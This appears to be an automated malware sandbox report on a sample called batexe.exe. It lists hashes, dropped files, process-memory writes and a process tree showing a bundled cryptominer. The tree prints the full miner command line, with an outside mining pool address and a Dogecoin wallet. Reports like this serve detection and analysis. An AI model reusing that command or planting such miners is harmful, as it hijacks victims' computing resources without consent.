73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 08:43

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3788	b2e.exe
4608	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4608	cpuminer-sse2.exe
4608	cpuminer-sse2.exe
4608	cpuminer-sse2.exe
4608	cpuminer-sse2.exe
4608	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4660-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4660 wrote to memory of 3788	4660	batexe.exe	73
PID 4660 wrote to memory of 3788	4660	batexe.exe	73
PID 4660 wrote to memory of 3788	4660	batexe.exe	73
PID 3788 wrote to memory of 4124	3788	b2e.exe	74
PID 3788 wrote to memory of 4124	3788	b2e.exe	74
PID 3788 wrote to memory of 4124	3788	b2e.exe	74
PID 4124 wrote to memory of 4608	4124	cmd.exe	77
PID 4124 wrote to memory of 4608	4124	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4660
- C:\Users\Admin\AppData\Local\Temp\DF54.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\DF54.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\DF54.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\E2CE.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4124
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\DF54.tmp\b2e.exe

Filesize
521KB

MD5
d45f810f7935c269f4076ce7ce420396

SHA1
02fea81d48383c0f42d2bda7773f77d2176ac718

SHA256
28cc1b5fa979b3f8a8891d95812d6f5f29771313df27950231f019995ba3acc6

SHA512
70c1b58fb46735fa1e4c8d798f6c1c2b53c1dea47156c80cabcaded9cd66e77838d45f5f9ca3fc473aa0aed85dfc454b2372c3fd195efeddf5780914125d5d8a

Download Submit
C:\Users\Admin\AppData\Local\Temp\DF54.tmp\b2e.exe

Filesize
7.8MB

MD5
61372b339a2819a6b5f6eaf59168ea70

SHA1
dc21c10ee8c401a017a84ea516015043ad5c7020

SHA256
0ed93d677f96cde8eeb970d8ed3ac169976dd7b5aa03052d9a6d99edf22eaec7

SHA512
7f461026d6a289ac1cf76c78d0ec6b9d861448b9918270f05f20929a9cc50a6a69a052e651d24a95266e12d0940765e3993a2a28aa61f08f72e7cea84ba73040

Download Submit
C:\Users\Admin\AppData\Local\Temp\E2CE.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.9MB

MD5
f0d05dc325187cd7cee129f63861a7ee

SHA1
c6292dd2fd801b5873a1ca97344a5161eb9303e3

SHA256
a323ade6406e00b3b63609446c5a3e8b1f19831255c70ec61ebb0812cc01bc4e

SHA512
0b3bff98be7a6a298d3e4e1c37f20e8b48242dccf5b81e5c46dac81820ec69674d6e12a24213390faf82f3d04d4a87da459f9b72fae7b6742cc223aaf70a9c35

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.1MB

MD5
f6b60e1623df0c4df27f6bd7a0e7fcc3

SHA1
1f0e22b524b9188438e76d863dbef27a7190efa5

SHA256
230fcb54c8a16955582cf8e887d06483930272a9139e3cefb67bf51d20a9d498

SHA512
5745c9c34f288ef394acb77ecaf6e0260952de2cdb7c2545141d31fbc8480ccebb0fa40dd743a3747a6be549fd12cf51d869894aa78caf7d7e26267fdaf3bb66

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.7MB

MD5
4823f522b5cd16c0837b8a94d3344765

SHA1
2dcf0b9faf91863007d3d3c6fcfdae6c76a9f763

SHA256
07cf84f40830cb7347cda7ff16e837f8340d26a487a7e5bf7e19b3b6a4e8c3b0

SHA512
4a769facc11d124119e7164cd820e7f34c5a93c89661dd568e5ffa0fae4a04ec8afed67d6e6c24e6f68761a6458506790ab29c8a55eca0f25465bfb5e9b233c0

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3788-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3788-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4608-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4608-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-42-0x0000000066D30000-0x0000000066DC8000-memory.dmp

Filesize
608KB

Download
memory/4608-44-0x0000000000E30000-0x00000000026E5000-memory.dmp

Filesize
24.7MB

Download
memory/4608-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4608-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4608-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4660-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download